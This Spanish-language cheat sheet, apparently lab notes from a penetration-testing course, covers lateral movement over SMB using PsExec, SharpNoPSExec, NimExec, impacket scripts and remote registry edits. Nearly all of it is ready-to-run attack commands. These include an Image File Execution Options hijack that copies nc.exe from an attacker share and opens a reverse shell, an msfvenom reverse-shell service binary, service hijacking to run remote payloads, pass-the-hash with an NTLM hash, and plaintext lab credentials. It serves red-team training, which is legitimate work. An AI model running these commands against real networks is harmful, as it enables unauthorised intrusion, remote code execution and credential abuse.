Skip to content

Lateral Movement — Server Message Block (SMB)

Herramientas


Requisitos

Para lateral movement via SMB necesitas una cuenta miembro del grupo Administrators en el host objetivo y los puertos TCP 445 y TCP 139 abiertos. El puerto TCP 135 puede ser necesario para algunas herramientas.

UAC Remote Restrictions

Cuentas locales NO-RID500   → NO pueden usar PsExec en Windows Vista+
Cuentas de dominio con admin local → SÍ pueden usar PsExec
Cuenta local RID-500 (Administrator) → SÍ puede usar PsExec

Named Pipes SMB relevantes

svcctl   → crear/iniciar/parar servicios remotamente (psexec.py, smbexec.py)
atsvc    → crear tareas programadas remotamente (atexec.py)
winreg   → acceso remoto al registro de Windows (reg.exe)

Enumeración previa

c
# Verificar SMB activo
nmap -sV -sC -p 139,445 172.20.0.52 -Pn
proxychains4 -q nmap 172.20.0.52 -sV -sC -p139,445 -Pn

# Verificar acceso con credenciales
netexec smb 172.20.0.0/24 -u helen -p 'RedRiot88' -d inlanefreight.local

# Listar shares
netexec smb 172.20.0.52 -u helen -p 'RedRiot88' --shares

PsExec (Windows)

Sube un ejecutable al share ADMIN$, crea un servicio via SCM, y establece comunicación por named pipe. Genera sesión interactiva (Type 2) por lo que elimina el Double Hop.

c
# Shell interactiva como helen
.\PsExec.exe \\SRV02 -i -u INLANEFREIGHT\helen -p RedRiot88 cmd

# Shell como SYSTEM
.\PsExec.exe \\SRV02 -i -s -u INLANEFREIGHT\helen -p RedRiot88 cmd

# Ejecutar comando directo sin shell interactiva
.\PsExec.exe \\SRV02 -u INLANEFREIGHT\helen -p RedRiot88 cmd /c whoami

SharpNoPSExec (Windows)

Busca servicios con start_type manual/disabled, estado stopped, y privilegios LocalSystem. Modifica el binary path del servicio seleccionado para ejecutar el payload, espera 5 segundos y restaura la configuración original. No crea servicios nuevos ni escribe al disco.

c
# Ver ayuda
.\SharpNoPSExec.exe

# Ejecutar payload (necesita listener previo)
.\SharpNoPSExec.exe --target=172.20.0.52 --payload="c:\windows\system32\cmd.exe /c powershell -exec bypass -nop -e <base64>"

# Con credenciales explícitas
.\SharpNoPSExec.exe --target=172.20.0.52 --username=helen --password=RedRiot88 --domain=inlanefreight.local --payload="cmd.exe /c <payload>"

# Especificar servicio concreto (en lugar de random)
.\SharpNoPSExec.exe --target=172.20.0.52 --service=ALG --payload="cmd.exe /c <payload>"

Listener antes de ejecutar:

c
nc -lnvp 8080

NimExec (Linux → Windows)

Similar a SharpNoPSExec pero desde Linux. Usa RPC packets personalizados sobre SMB via svcctl. Soporta autenticación con hash NTLM.

Instalación

c
sudo apt install nim
git clone https://github.com/frkngksl/NimExec
cd NimExec
nimble install ptr_math nimcrypto hostname

# Fix de bug en nimcrypto (cambiar línea 61 en hmac.nim)
# import ./[hash, utils, cpufeatures]  →  import hash, utils, cpufeatures

# Compilar para Windows desde Linux
nim c -d:release --gc:markAndSweep --cpu:amd64 --os:windows --cc:gcc --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -o:NimExec.exe Main.nim

Uso

c
# Con contraseña
.\NimExec.exe -u helen -d inlanefreight.local -p RedRiot88 -t 172.20.0.52 -c "cmd.exe /c powershell -e <base64>"

# Con hash NTLM
.\NimExec.exe -u helen -d inlanefreight.local -h 62EBA30320E250ECA185AA1327E78AEB -t 172.20.0.52 -c "cmd.exe /c <payload>"

# Verbose
.\NimExec.exe -u helen -d inlanefreight.local -p RedRiot88 -t 172.20.0.52 -c "cmd.exe /c <payload>" -v

# Especificar servicio concreto
.\NimExec.exe -u helen -d inlanefreight.local -p RedRiot88 -t 172.20.0.52 -s ALG -c "cmd.exe /c <payload>"

Reg.exe — RCE via Registro remoto

Requiere que el servicio Remote Registry esté activo (por defecto solo en server-class OS). Modifica claves del registro del host objetivo via named pipe winreg.

c
# Agregar Debugger a un proceso (Image File Execution Options)
# Cuando msedge.exe se ejecute, correrá el payload antes
reg.exe add "\\srv02.inlanefreight.local\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msedge.exe" /v Debugger /t reg_sz /d "cmd /c copy \\172.20.0.99\share\nc.exe && nc.exe -e \windows\system32\cmd.exe 172.20.0.99 8080"

Setup SMB server para hospedar el payload

c
# Sin autenticación
sudo python3 smbserver.py share -smb2support /ruta/al/payload

# Habilitar guest auth en SMB2/3 si da error
reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters /v AllowInsecureGuestAuth /d 1 /t REG_DWORD /f

# Verificar si está habilitado
reg.exe query HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters /v AllowInsecureGuestAuth

psexec.py (Linux)

Sube ejecutable random a ADMIN$, crea servicio, establece named pipe. Equivalente a PsExec.

c
proxychains4 -q psexec.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52

# Con hash
proxychains4 -q psexec.py INLANEFREIGHT/helen@172.20.0.52 -hashes :62EBA30320E250ECA185AA1327E78AEB

smbexec.py (Linux)

No sube archivos. Usa solo TCP 445 y el pipe svcctl. Más silencioso que psexec.py.

c
proxychains4 -q smbexec.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52

# Con hash
proxychains4 -q smbexec.py INLANEFREIGHT/helen@172.20.0.52 -hashes :62EBA30320E250ECA185AA1327E78AEB

services.py (Linux) — Manipulación de servicios

c
# Listar servicios
proxychains4 -q services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 list

# Crear servicio nuevo
proxychains4 -q services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 create -name 'MyService' -display 'MyService' -path "\\\\10.10.14.207\\share\\payload.exe"

# Ver config de un servicio
proxychains4 -q services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 config -name 'MyService'

# Iniciar servicio
proxychains4 -q services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 start -name 'MyService'

# Modificar servicio existente (cambiar binary path + auto start)
proxychains4 -q services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 change -name Spooler -path "\\\\10.10.14.207\\share\\payload.exe" -start_type 2

# Iniciar el servicio modificado
proxychains4 -q services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 start -name Spooler

# Eliminar servicio
proxychains4 -q services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 delete -name 'MyService'

Generar payload de tipo service binary

c
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.207 LPORT=9001 -f exe-service -o payload.exe

atexec.py (Linux) — Scheduled Tasks

Crea una tarea programada via atsvc, la ejecuta, y borra la tarea. El output se guarda en un archivo temporal en ADMIN$\Temp. Requiere que los relojes del atacante y el objetivo estén sincronizados al minuto.

c
# Listener
nc -lnvp 8080

# Ejecutar comando via tarea programada
proxychains4 -q atexec.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 "powershell -e <base64_payload>"

# Con hash
proxychains4 -q atexec.py INLANEFREIGHT/helen@172.20.0.52 -hashes :62EBA30320E250ECA185AA1327E78AEB "whoami"

Comparativa de herramientas SMB

PsExec / psexec.py   → sube exe a ADMIN$, crea servicio, muy detectable
smbexec.py           → no sube archivos, solo TCP 445, más silencioso
SharpNoPSExec        → modifica servicio existente, no crea nada nuevo
NimExec              → igual que SharpNoPSExec pero soporta hash NTLM
atexec.py            → scheduled task, no interactivo, sincronización de hora necesaria
services.py          → control total de servicios, crear/modificar/eliminar
reg.exe              → RCE via registro, depende de que Remote Registry esté activo